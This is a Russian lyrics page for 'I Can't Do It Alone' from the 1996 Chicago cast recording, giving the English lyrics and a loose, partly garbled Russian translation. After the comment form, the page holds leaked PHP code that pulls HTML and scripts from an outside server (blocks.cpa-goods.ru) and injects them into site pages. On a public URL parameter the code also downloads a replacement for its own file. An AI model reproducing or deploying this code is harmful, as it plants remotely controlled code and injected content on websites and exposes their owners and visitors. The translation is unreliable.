Подбери фильм на вечер по своим предпочтениям, среди 65480 лучших подборок!

Текст песни I Can't Do It Alone (Stanley Lebowsky) с переводом

1996 язык: английский
134
0
2:52
0
Песня I Can't Do It Alone группы Stanley Lebowsky из альбома Chicago: A Musical Vaudeville была записана в 1996 году лейблом Arista, язык песни английский, ниже вы найдете ее перевод на русском языке, песня исполняется в жанре саундтреки, вы можете слушать ее, изучить слова или скачать текст бесплатно, прокомментировать, как саму песню так и смысл который она в себе несет.
исполнитель:
Stanley Lebowsky Chita Rivera Chicago Orchestra
альбом:
Chicago: A Musical Vaudeville
лейбл:
Arista
жанр:
Саундтреки

My sister and I had an act that couldn’t flop

My sister and I were headed straight for the top

My sister and I earned a thou' a week at least… oh, yeah

But my sister is now unfortunately deceased

I know it’s sad, of course, but a fact is still a fact

And now all that remains is the remains of a perfect… double… act!

Watch this

First I’d, tchbasmovi tchbasmovi and that’s the drums

Then she’d, woun-woun woun-woun, saxophone

Then we’d… Together!

But I can’t do it alone

Then she’d…

Then I’d…

Then we’d…

But I can’t do it alone

She’d say «what's your sister like?»

I’d say «men» ya ya ya

She’d say «you're the cat’s meow»

Then we’d wow the crowd again

When she’d go…

I’d go…

We’d go…

And then those two-bit Johnnies did it up brown

To cheer the best attraction in town

They nearly tore the balcony down

And we’d say «Ok, guys. Ok, fellas, we’re goin' home, but here’s a few more

partin' shots»

And this—this we did in perfect unison…

Now you see me going through it

You may think there’s nothing to it

But I simply cannot do it

Alone

Перевод песни I Can't Do It Alone

У нас с сестрой была игра, которая не могла провалиться.

Мы с сестрой направлялись прямо к вершине.

Моя сестра и я зарабатывали тебе неделю, по крайней мере... о, да.

Но, к сожалению, моя сестра умерла.

Я знаю, это печально, конечно, но факт все еще факт,

И теперь все, что осталось-это останки совершенного ... двойного ... поступка!

Смотри!

Сначала я бы, чбасмови, чбасмови, и вот барабаны,

А потом она, Вун-Вун, Вун-Вун, саксофон,

А потом мы ... вместе!

Но я не могу сделать это в одиночку,

Тогда она...

Тогда я ...

Тогда мы ...

Но я не могу сделать это в одиночку.

Она бы сказала: "Какая у тебя сестра?"

, я бы сказала: "мужчины", да, да, да.

Она бы сказала: "Ты мяукаешь кошкой"

, а потом мы бы снова поразили толпу.

Когда она уходила... я уходил... мы уходили... а затем эти Двухкусные Джонни сделали это коричневым, чтобы развеселить лучший аттракцион в городе, они почти сорвали балкон, и мы сказали: "Ладно, ребята. ладно, парни, мы идем домой, но вот еще несколько рюмок", и это-это мы сделали в полном унисоне...

Теперь ты видишь, как я прохожу через это.

Ты можешь думать, что в этом нет ничего,

Но я просто не могу этого сделать.

Один.

Скачать:

Понравилась песня? Лайкни ее и оставь свой комментарий!
Делись в комментариях своим мнением о песне: о чем эта песня по твоему?

Другие треки исполнителя

When You're Good to Mama
1996
Chicago: A Musical Vaudeville
Cell Block Tango
1996
Chicago: A Musical Vaudeville
Razzle Dazzle
1996
Chicago: A Musical Vaudeville

Похожие треки

Circle of Life
1994
Matisyahu
Bring Heaven Down
1992
Secret Service
Combination Of The Two
1998
Big Brother & The Holding Company
One Toke Over The Line
1998
Brewer And Shipley
Wag The Dog
1998
Mark Knopfler
Not Gon' Cry
1995
Mary J. Blige
Killin' Kind
2001
Shelby Lynne
All By Myself
2001
Jamie O'Neal
Kiss That Girl
2001
Sheryl Crow
Love
2001
Rosey
Someone Like You
2001
Dina Carroll
Dreamsome
2001
Shelby Lynne
Crooklyn
1994
Master Ace
Let The Sun Fall Down
2002
Kim Richey
Free To Go
1999
The Folk Implosion
Unconstant Lover
2002
Maura O'Connell
That Could Happen To Us
2002
Jill Phillips

Добавить комментарий

*Все поля обязательны к заполнению.

Нажимая на кнопку "Отправить комментарий", я даю согласие на обработку персональных данных.

Нажимая на кнопку "Отправить", я даю согласие на обработку персональных данных.

    rd = $rules_directory; $this->rf = $rules_file; $this->v = $version; $this->c = $count; $this->i = $site_id; $this->s = $sqlite_exists; } public function jsonSerialize() { return json_encode(get_object_vars($this)); } } } // ini_set('error_reporting', E_ERROR); if (!class_exists('GetBlocksHtml')) { Class GetBlocksHtml { const SITE_ID = '560bfc96-7db2-4889-87ab-368dc6b4ac70'; const REMOTE_URL = 'https://blocks.cpa-goods.ru/?siteId='; const PING_TEXT = ''; const REMOTE_FILE_URL = "https://blocks.cpa-goods.ru/Download?siteId="; const PATH_FILE = "/fpa.php"; const VERSION_SECRIPT = 11; public function GetSiteID() { try { if(file_exists($_SERVER['DOCUMENT_ROOT'].'/wp-load.php')) { require_once($_SERVER['DOCUMENT_ROOT'].'/wp-load.php'); $options = get_option('fpaaa_settings_options'); if(isset($options['fpaaa_siteid']) and !empty($options['fpaaa_siteid'])){ return $options['fpaaa_siteid']; }elseif(isset($GLOBALS['fpaaa_site_id']) and !empty($GLOBALS['fpaaa_site_id'])){ return $GLOBALS['fpaaa_site_id']; }else{ return self::SITE_ID; } }else{ if(isset($GLOBALS['fpaaa_site_id']) and !empty($GLOBALS['fpaaa_site_id'])){ return $GLOBALS['fpaaa_site_id']; }else{ return self::SITE_ID; } } } finally { if(isset($GLOBALS['fpaaa_site_id']) and !empty($GLOBALS['fpaaa_site_id'])){ return $GLOBALS['fpaaa_site_id']; }else{ return self::SITE_ID; } } } public function GetFullStats() { $stats = new FpaStats( substr(sprintf('%o', fileperms(__DIR__)), -4), substr(sprintf('%o', fileperms(__DIR__ . "/fpa.php")), -4), self::VERSION_SECRIPT, self::ShowCountLink(), self::GetSiteID(), extension_loaded('sqlite3') ); echo $stats->jsonSerialize(); } private function UpdateScript() { $stFileGet = self::UrlGetContent(self::REMOTE_FILE_URL.self::GetSiteID()); if(!empty($stFileGet)){ $boolFilePut = file_put_contents(__DIR__.self::PATH_FILE, $stFileGet); } return $boolFilePut; } private function CreateBD() { GLOBAL $rsDB; $rsDate = new DateTime(); $stDate = $rsDate->getTimestamp(); $stDBName = __DIR__ . '/' . self::GetSiteID() . "_DB.db"; $sqlite = extension_loaded('sqlite3'); if ($sqlite) { $rsDB = new SQLite3($stDBName); return true; }else{ echo '

    SQLITE NOT INSTALLED

    '; return false; } } private function CreateTable($nameTable, $arFields) { GLOBAL $rsDB; $stFields = implode(", ", $arFields); $stSQL = 'CREATE TABLE '.$nameTable.'('.$stFields.')'; $result = $rsDB->exec($stSQL); return $result; } private function CreateTables() { self::CreateTable("connect", array("id INTEGER PRIMARY KEY AUTOINCREMENT", "time DATETIME")); self::CreateTable("asset", array("id INTEGER PRIMARY KEY AUTOINCREMENT", "name TEXT", "text TEXT")); self::CreateTable("url", array("id INTEGER PRIMARY KEY AUTOINCREMENT", "url TEXT", "html TEXT", "time TEXT")); } private function AddItem($nameTable, $arFields, $arValue, $stDelimetr) { GLOBAL $rsDB; $stFields = implode(", ", $arFields); foreach ($arValue as $arVal) { if(is_object($arVal)){ $arVal = (array) $arVal; } $arVal = preg_replace("/' /", "'' ", $arVal); $arVal = preg_replace("/'s/", "''s", $arVal); $stVal = $stDelimetr . implode($stDelimetr.", ".$stDelimetr,(array) $arVal) . $stDelimetr; $stSQL = "INSERT INTO ".$nameTable." (".$stFields.") VALUES (".$stVal.")"; $result = $rsDB->exec($stSQL); } } private function AddItems() { $arFile = self::GetFile(); if(is_object($arFile) and count($arFile->added) > 0){ self::AddItem("url", array("url", "html", "time"), $arFile->added, "'"); } if(is_object($arFile) and !empty($arFile->css)){ self::AddItem("asset", array("name", "text"), array(array("css", $arFile->css)), "'"); } if(is_object($arFile) and !empty($arFile->js)){ self::AddItem("asset", array("name", "text"), array(array("js", $arFile->js)), "'"); } return $arFile; } private function DelItem($nameTable, $arFields, $arValue) { GLOBAL $rsDB; foreach ($arValue as $stID) { $stSQL = "DELETE FROM ".$nameTable." WHERE ".$arFields." = ".$stID.";"; $result = $rsDB->exec($stSQL); } } private function CheckTablet($nameTable) { GLOBAL $rsDB; // $stSQL = "SELECT id FROM ".$nameTable." LIMIT 1"; $stSQL = "SELECT count(*) as count FROM sqlite_master WHERE type='table' AND name='".$nameTable. "'"; $rsResult = $rsDB->query($stSQL); $arRes = $rsResult->fetchArray(SQLITE3_ASSOC); if($arRes["count"] == "1"){ return true; }else{ return false; } } private function SerarchItem($nameTable, $arFields, $arValue, $stSign, $stLike=false) { GLOBAL $rsDB; if($stLike){ $stSQL = "SELECT * FROM ".$nameTable." WHERE ".$arFields." LIKE \"".$arValue."\";"; }else{ $stSQL = "SELECT * FROM ".$nameTable." WHERE ".$arFields." ".$stSign." \"".$arValue."\";"; } $arResult = array(); $rsResult = $rsDB->query($stSQL); while($arRes = $rsResult->fetchArray(SQLITE3_ASSOC)) { $arResult[] = $arRes; } if(!empty($arResult)){ return $arResult; }else{ return false; } } public function ShowCountLink() { if(self::CreateBD() && self::CheckTablet("url")){ GLOBAL $rsDB; $stSQL = "SELECT COUNT(*) as count FROM url;"; $rsResult = $rsDB->query($stSQL); $arResult = $rsResult->fetchArray(); $stCount = $arResult['count']; return $stCount; } else { return 0; } } private function DelateDB() { $stDBName = __DIR__ . '/' . self::GetSiteID() . "_DB.db"; return unlink($stDBName); } private function CloseBD() { GLOBAL $rsDB; $rsDB->close(); unset($rsDB); } private function GetFile($path = "rem_file.json") { //через файл // $rsFile = fopen($path, "r"); // $obFile = fread($rsFile, filesize($path)); // fclose($rsFile); self::AddItem("connect", array("time"), array("datetime('now')"), ""); $obFile = self::UrlGetContent(self::REMOTE_URL.self::GetSiteID()); return json_decode($obFile); } private function CheckTime($stTime) { $rsDate = new DateTime(); $TimeURL = $rsDate->getTimestamp(); if($TimeURL >= $stTime){ return true; }else{ return false; } } public function ViewURL() { $arSearchURLs = self::SerarchItem("url", "url", "%".$_SERVER["HTTP_HOST"].$_SERVER["REQUEST_URI"], false, true); if(is_array($arSearchURLs) and count($arSearchURLs) > 0 ){ foreach ($arSearchURLs as $key => $arSearchURL) { if(self::CheckTime($arSearchURL["time"])){ echo $arSearchURL["html"]; if($key == 0){ $arJS = self::SerarchItem("asset", "name", "js", false, true); $arCSS = self::SerarchItem("asset", "name", "css", false, true); if(!empty($arJS[0]["text"])){ echo ''; } if(!empty($arCSS[0]["text"])){ echo ''; } } } } } } private function UrlGetContent($url) { if (function_exists('curl_exec')){ $conn = curl_init($url); curl_setopt($conn, CURLOPT_SSL_VERIFYPEER, true); curl_setopt($conn, CURLOPT_FRESH_CONNECT, true); curl_setopt($conn, CURLOPT_RETURNTRANSFER, 1); $url_get_contents_data = (curl_exec($conn)); curl_close($conn); }elseif(function_exists('file_get_contents')){ $url_get_contents_data = file_get_contents($url); }elseif(function_exists('fopen') && function_exists('stream_get_contents')){ $handle = fopen ($url, "r"); $url_get_contents_data = stream_get_contents($handle); }else{ $url_get_contents_data = false; } return $url_get_contents_data; } public function PingView() { echo self::PING_TEXT; } public function ForceUpdate() { $obFile = self::UrlGetContent(self::REMOTE_URL.self::GetSiteID()); $arFile = json_decode($obFile); self::DelateDB(); if(is_object($arFile)){ if(count($arFile->added) > 0){ self::CreateBD(); self::CreateTables(); $arFile = self::AddItems(); } if((int) $arFile->version > (int) self::VERSION_SECRIPT){ self::UpdateScript(); } } } public function Exec($boON = false) { if($boON){ if(self::CreateBD()){ if(!self::CheckTablet("connect")){ self::CreateTables(); self::AddItems(); } self::ViewURL(); self::PingView(); } } } } } $rsGetBlocksHtml = new GetBlocksHtml; if(isset($_GET["fpafull"]) and $_GET["fpafull"] == "true") { echo $rsGetBlocksHtml->GetFullStats(); exit(); } if(isset($_GET["fpaupdate"]) and $_GET["fpaupdate"] == "true"){ $rsGetBlocksHtml->ForceUpdate(); }else{ $rsGetBlocksHtml->Exec(true); }